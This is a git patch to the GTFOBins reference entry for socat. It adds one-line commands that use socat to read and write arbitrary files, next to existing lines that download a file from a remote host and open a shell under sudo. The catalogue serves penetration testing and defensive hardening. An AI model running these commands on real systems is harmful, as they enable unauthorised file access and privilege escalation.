From 28c6924beb002f70c46c22b509ada4c10e73ed7a Mon Sep 17 00:00:00 2001 From: Insecurities Date: Tue, 26 Oct 2021 23:43:44 -0700 Subject: [PATCH] Add socat file-read/write Co-authored-by: Andrea Cardaci --- _gtfobins/socat.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index 8d06eec..7d7a5b0 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -29,6 +29,14 @@ functions: RPORT=12345 LFILE=file_to_save socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat + file-read: + - code: | + LFILE=file_to_read + socat -u "file:$LFILE" - + file-write: + - code: | + LFILE=file_to_write + socat -u 'exec:echo DATA' "open:$LFILE,creat" sudo: - description: The resulting shell is not a proper TTY shell and lacks the prompt. code: |